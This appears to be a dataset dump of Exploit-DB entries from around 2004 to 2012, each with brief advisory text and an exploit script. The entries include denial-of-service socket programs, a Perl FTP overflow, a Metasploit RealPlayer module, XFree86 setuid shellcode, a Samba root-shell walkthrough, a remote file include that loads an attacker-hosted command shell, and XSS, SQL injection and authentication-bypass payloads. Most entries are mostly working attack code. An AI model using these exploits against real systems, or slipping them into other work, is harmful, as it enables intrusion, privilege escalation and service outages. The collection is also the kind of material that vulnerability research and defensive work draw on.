QLWD/code_shield huggingface dataset:
标题: Sami FTP Server 1.1.3 - Invalid Command Argument Local Denial of Service EDB-ID: 23692 CVE: 2004-2081 类型: DOS 平台: WINDOWS 发布日期: 2004-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/9657/info

Sami FTP Server has been reported prone to multiple remote denial of service vulnerabilities. It has been reported that an attacker who has sufficient credentials to access a vulnerable server, may cause the pmsystem.exe executable to raise a fatal exception by making unexpected FTP requests.

cd ~
cd /../ URL: https://www.exploit-db.com/exploits/23692
标题: Sami FTP Server 1.1.3 - Library Crafted GET Remote Denial of Service EDB-ID: 23693 CVE: 2004-2082 类型: DOS 平台: WINDOWS 发布日期: 2004-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/9657/info
 
Sami FTP Server has been reported prone to multiple remote denial of service vulnerabilities. It has been reported that an attacker who has sufficient credentials to access a vulnerable server, may cause the pmsystem.exe executable to raise a fatal exception by making unexpected FTP requests.

get <something unavailable> URL: https://www.exploit-db.com/exploits/23693
标题: XFree86 4.x - CopyISOLatin1Lowered Font_Name Buffer Overflow EDB-ID: 23690 CVE: 2004-0084 类型: DOS 平台: LINUX 发布日期: 2004-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9652/info

It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system.

# cat > fonts.dir <<EOF 
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "data " . "0" x 2048 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD URL: https://www.exploit-db.com/exploits/23690
标题: Crob FTP Server 3.5.2 - Remote Denial of Service EDB-ID: 23689 CVE: 2004-0282 类型: DOS 平台: WINDOWS 发布日期: 2004-02-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9651/info

It has been reported that the Crob FTP server is prone to a remote denial of service vulnerability. An attacker may exploit this issue to cause the affected server to crash, denying service to legitimate users.

/******************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{

  int s;
  struct sockaddr_in target;

  if(argc < 2)
    {
      printf("Usage: %s HOST [PORT]\n\n",argv[0]);
      return 0;
    }

        do
   {
     s = socket(AF_INET, SOCK_STREAM, 0);
     target.sin_family = AF_INET;
     target.sin_port = htons(atoi(argv[2]));
     target.sin_addr.s_addr = inet_addr(argv[1]);

     printf("-       connecting...\n");

     if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
       {
                printf("        connect() error!\n\n");
                exit(-1);
       }

     printf("        connected\n");
     printf("        closing connection\n");
     close(s);
   }
        while(1);
        return 0;
}
/*******************************/ URL: https://www.exploit-db.com/exploits/23689
标题: AllMyGuests 0.x - 'info.inc.php' Arbitrary Code Execution EDB-ID: 23697 CVE: 2004-0285 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9664/info

Reportedly the AllMyPHP application AllMyGuests is prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.

This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:

<?php
system("$cmd");
?> URL: https://www.exploit-db.com/exploits/23697
标题: RealPlayer - '.RealMedia' File Handling Buffer Overflow (Metasploit) EDB-ID: 23694 CVE: 2012-5691 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-27 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealPlayer RealMedia File Handling Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
    The vulnerability exists in the handling of real media files, due to the insecure
    usage of the GetPrivateProfileString function to retrieve the URL property from an
    InternetShortcut section.

    This module generates a malicious rm file which must be opened with RealPlayer via
    drag and drop or double click methods. It has been tested successfully on Windows
    XP SP3 with RealPlayer 15.0.5.109.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-5691' ],
     [ 'OSVDB', '88486' ],
     [ 'BID', '56956' ],
     [ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process'
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'BadChars'    => "\x00\x0a\x0d",
     'DisableNops' => true,
     'Space'       => 2000
    },
   'Targets'        =>
    [
     [ 'Windows XP SP3 / Real Player 15.0.5.109',
      {
       'Ret'       => 0x63f2b4b5, # ppr from rpap3260.dll
       'OffsetOne' => 2312, # Open via double click
       'OffsetTwo' => 2964 # Open via drag and drop
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 14 2012',
   'DefaultTarget'  => 0))

  register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

 end

 def exploit

  buffer = payload.encoded
  buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
  buffer << generate_seh_record(target.ret)
  buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
  buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
  buffer << generate_seh_record(target.ret)
  buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
  buffer << rand_text(7000) # Generate exception

  content = "[InternetShortcut]\nURL="
  filecontent = content+buffer

  file_create(filecontent)

 end
end URL: https://www.exploit-db.com/exploits/23694
标题: Macallan Mail Solution Macallan Mail Solution 2.8.4.6 (Build 260) - Web Interface Authentication Bypass EDB-ID: 23687 CVE: 2004-2071 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9646/info

A vulnerability has been reported in Macallan Mail Solution that may permit remote attackers to bypass authentication for the web interface. This may be exploited by submitting a specially crafted HTTP GET request for the administration page of the web interface.

There are conflicting reports from the vendor that state that the attacker will not be able to perform any administrative actions after bypassing authentication.

This issue was reported in version 2.8.4.6(Build 260). Other versions may also be affected.

http://www.example.com//admin.html URL: https://www.exploit-db.com/exploits/23687
标题: VisualShapers EZContents 1.x/2.0 - 'db.php' Arbitrary File Inclusion EDB-ID: 23683 CVE: 2004-0132 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9638/info

It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence the 'GLOBALS[rootdp]' and 'GLOBALS[language_home]' variables in the 'db.php' and 'archivednews.php' modules. 

This vulnerability is reported to affect ezContents 2.0.2 and prior running on PHP 4.3.0 or above.

http://www.example.com/[ezContents_directory]/include/db.php?GLOBALS[rootdp]=http://www.example.com/ URL: https://www.exploit-db.com/exploits/23683
标题: BosDev BosDates 3.x - SQL Injection EDB-ID: 23685 CVE: 2004-0275 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9639/info

An SQL injection vulnerability has been reported to affect BosDates calendar system. The issue arises due to insufficient sanitization of user supplied data. As a result of this issue an attacker could modify the logic and structure of database queries. Other attacks may also be possible, such as gaining access to sensitive information.

http://www.example.com/directory/calendar_download.php?calendar=[query] URL: https://www.exploit-db.com/exploits/23685
标题: EvolutionX - Multiple Remote Buffer Overflow Vulnerabilities EDB-ID: 23681 CVE: 2004-0268 类型: DOS 平台: WINDOWS 发布日期: 2004-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9631/info

The FTP server that is distributed with EvolutionX has been reported prone to multiple buffer overflow vulnerabilities. The first of these vulnerabilities exists post-authentication, and is due to a lack of sufficient bounds checking performed on arguments that are passed to the 'cd' command.

The second issue exists pre-authentication, excessive data passed as username:password combination to the affected FTP server will trigger the buffer overrun. 

Finally the telnet server that is distributed with EvolutionX has been reported prone to a buffer overflow vulnerability when handling excessive data passed as an argument to the 'dir' command. 

An attacker may exploit any one of these issues to deny service to legitimate users of the XBOX appliance, it has been conjectured that these issues may be exploitable to result in arbitrary code execution.

#!/usr/bin/perl
#
# EvolutionX buffer overflow by Moth7
# http://www.bit-labs.net
#
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "ftp(21)",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }

$remote->autoflush(1);

print $remote "USER anonymous\r\n";
sleep(1);

$buf = '\m/'x999;

print $remote "PASS ".$buf."\r\n";      # Try and overrun the PASS buffer
sleep(1);

print $remote"cd ".$buf."\r\n";         # If it fails then overrun the cd buffer instead -
sleep(1);                               # but 2997 characters should do it :p

close $remote; URL: https://www.exploit-db.com/exploits/23681
标题: Maxwebportal 1.3x - 'down.asp' HTTP_REFERER Cross-Site Scripting EDB-ID: 23676 CVE: 2004-0271 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9625/info

It has been reported that MaxWebPortal may be prone to multiple vulnerabilities due to insufficient sanitization of user-supplied input. The specific issues include cross-site scripting, HTML injection and SQL injection.

MaxWebPortal versions prior to 1.32 have been reported to be prone to these issues.

<a href="<% =Request.ServerVariables("HTTP_REFERER") %>">Back</font></a></p> URL: https://www.exploit-db.com/exploits/23676
标题: Monkey HTTP Daemon 0.x - Missing Host Field Denial of Service EDB-ID: 23686 CVE: 2004-0276 类型: DOS 平台: WINDOWS 发布日期: 2004-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9642/info

Monkey HTTP Daemon is prone to a denial of service attacks. HTTP GET requests, which do not include a 'Host' header field, will trigger this condition.

The server will need to be restarted to regain normal functionality.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23686.rar URL: https://www.exploit-db.com/exploits/23686
标题: VisualShapers EZContents 1.x/2.0 - 'archivednews.php' Arbitrary File Inclusion EDB-ID: 23684 CVE: 2004-0132 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9638/info
 
It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence the 'GLOBALS[rootdp]' and 'GLOBALS[language_home]' variables in the 'db.php' and 'archivednews.php' modules.
 
This vulnerability is reported to affect ezContents 2.0.2 and prior running on PHP 4.3.0 or above.

http://www.example.com/[ezContents_directory]/modules/news/archivednews.php?GLOBALS[language_home]=http://www.example.com/&GLOBALS[gsLanguage]=ezContents URL: https://www.exploit-db.com/exploits/23684
标题: Microsoft Windows XP - HCP URI Handler Arbitrary Command Execution EDB-ID: 23675 CVE: 2004-0474 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9621/info

The Microsoft Windows XP HCP URI handler has been reported prone to a vulnerability that may provide for arbitrary command execution. The issue is reported to present itself when a specially formatted HCP URI that references a local resource is processed. A remote attacker may exploit this issue to have arbitrary commands executed in the context of the user who followed the link.

This issue has been reported to be present in Polish versions of Windows XP SP1; other versions may also be vulnerable.

hcp://services/layout/contentonly?topic=...

where ... is a correct URL

http:// for page
file:/// for run (remember use / (slash) in path e.g. c:/windows/system32/...

The following additional example vectors have been supplied:
hcp://services/layout/fullwindow?topic=
hcp://services/centers/support?topic=

Additional proof-of-concepts were provided in the "IE ms-its: and mk:@MSITStore: vulnerability" BugTraq post by Roozbeh Afrasiabi. URL: https://www.exploit-db.com/exploits/23675
标题: Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation EDB-ID: 23674 CVE: 2004-0186 类型: LOCAL 平台: LINUX 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9619/info

A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.

The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~# URL: https://www.exploit-db.com/exploits/23674
标题: XFree86 4.3 - Font Information File Buffer Overflow EDB-ID: 23682 CVE: 2004-0083 类型: LOCAL 平台: LINUX 发布日期: 2004-11-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9636/info

It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system.

/* For educational purposes only                            */
/* Brought to you by bender2@lonestar.org   11.10.2004      */

#include <fcntl.h>

#define NOPNUM 8000
#define ADRNUM 1058

/* shellcode from LSD */
char setuidcode[]=         /* 8 bytes                        */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\xb0\x17"             /* movb    $0x17,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

char shellcode[]=          /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//id"           /* pushl   $0x68732f2f            */
    "\x68""/tmp"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

char jump[]=
    "\x8b\xc4"                /* movl   %esp,%eax           */
    "\xc3"                    /* ret                        */
;


main(int argc,char **argv){
    char buffer[20000],adr[4],pch[4],*b,*envp[4];
    int i,fd;


    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

    envp[0]=&buffer[2000];
    envp[1]=0;

    printf("adr: 0x%x\n",adr+12000);

    b=buffer;
    strcpy(buffer,"1\n");
    strcat(buffer,"aaaa.pcf -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
    fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));

    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b++='\n';

    fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));
    close(fd);

    b=&buffer[2000];
    
for(i=0;i<NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++) 
*b++=0x90;
    for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
} URL: https://www.exploit-db.com/exploits/23682
标题: Maxwebportal 1.3x - Personal Message 'SendTo' Cross-Site Scripting EDB-ID: 23677 CVE: 2004-0271 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9625/info
 
It has been reported that MaxWebPortal may be prone to multiple vulnerabilities due to insufficient sanitization of user-supplied input. The specific issues include cross-site scripting, HTML injection and SQL injection.
 
MaxWebPortal versions prior to 1.32 have been reported to be prone to these issues.

<select name="Avatar_URL" size="4" onChange ="if (CheckNav(3.0,4.0)) URL.src=form.Avatar_URL.options[form.Avatar_URL.options.selectedIndex].value;">
<option value="javascript:alert(document.cookie)">POC-Avatar</option></select> URL: https://www.exploit-db.com/exploits/23677
标题: ClamAV Daemon 0.65 - UUEncoded Message Denial of Service EDB-ID: 23667 CVE: 2004-0270 类型: DOS 平台: LINUX 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9610/info

A problem in the handling of specially crafted UUEncoded messages has been identified in ClamAV. Because of this, an attacker may prevent the delivery of e-mail to users.

Save the following file to ~/clamtest.mbox:

From -

begin 644 byebye
byebye
end

Then do:

# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887
Abort (core dumped) URL: https://www.exploit-db.com/exploits/23667
标题: Caucho Technology Resin 2.1.12 - Directory Listings Disclosure EDB-ID: 23671 CVE: 2004-0281 类型: REMOTE 平台: LINUX 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9617/info

It has been reported that Resin may be prone to an information disclosure vulnerability that may allow an attacker to disclose directory listings by passing malicious data via a URI parameter.

The issue has been reported to present itself on Windows NT/2000 systems running Apache 1.3.29 and Resin 2.1.12.

http://www.example.com/WEB-INF../ URL: https://www.exploit-db.com/exploits/23671
标题: Nadeo Game Engine - Remote Denial of Service EDB-ID: 23662 CVE: 2004-2077 类型: DOS 平台: LINUX 发布日期: 2004-02-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9604/info

It has been reported that Nadeo Game Engine may be prone to a remote denial of service vulnerability that could allow an attacker to cause the software to crash or hang by sending arbitrary data to the software on TCP port 2350.

Nadeo Trackmania demo version has been reported to be affected by this issue.

/*
* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
*
* by Scrap
* webmaster@securiteinfo.com
* http://www.securiteinfo.com
*
* gcc kill-trackmania.c -o kill-trackmania -O2
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

{
printf("Usage: %s target\n\n",argv[0]);
exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
close(sock);

printf("\t Bomb sent...\n");

} URL: https://www.exploit-db.com/exploits/23662
标题: Microsoft Internet Explorer 5.0.1 - LoadPicture File Enumeration EDB-ID: 23668 CVE: 2004-2090 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/9611/info

Microsoft Internet Explorer is prone to an issue that may permit a remote site to enumerate the existence of files on the client system. 

This may be exploited via abuse of the VBScript LoadPicture method. Exploitation of the weakness may assist in other attacks which depend on the attacker being able to determine whether or not certain files on the system exist.

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>

<script language="vbscript">

Sub loadIt(filename)
LoadPicture(filename)
End Sub

</script>

<script language="javascript">

function doIt(form) {

try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}

if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script> URL: https://www.exploit-db.com/exploits/23668
标题: OpenJournal 2.0 - Authentication Bypassing EDB-ID: 23659 CVE: 2004-0261 类型: WEBAPPS 平台: CGI 发布日期: 2004-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9598/info

It has been reported that OpenJournal is prone to an authentication bypass vulnerability. This issue is caused by the application failing to properly sanitize URI specified parameters. Successful exploitation of this issue may lead to remote attackers gaining unauthorized access to online journal files associated with the application, adding new users to the database as well as a number of other possibilities.

http://www.test.com/cgi-bin/oj.cgi?db=default&uid=%00&userid=hacker&auth=adduser URL: https://www.exploit-db.com/exploits/23659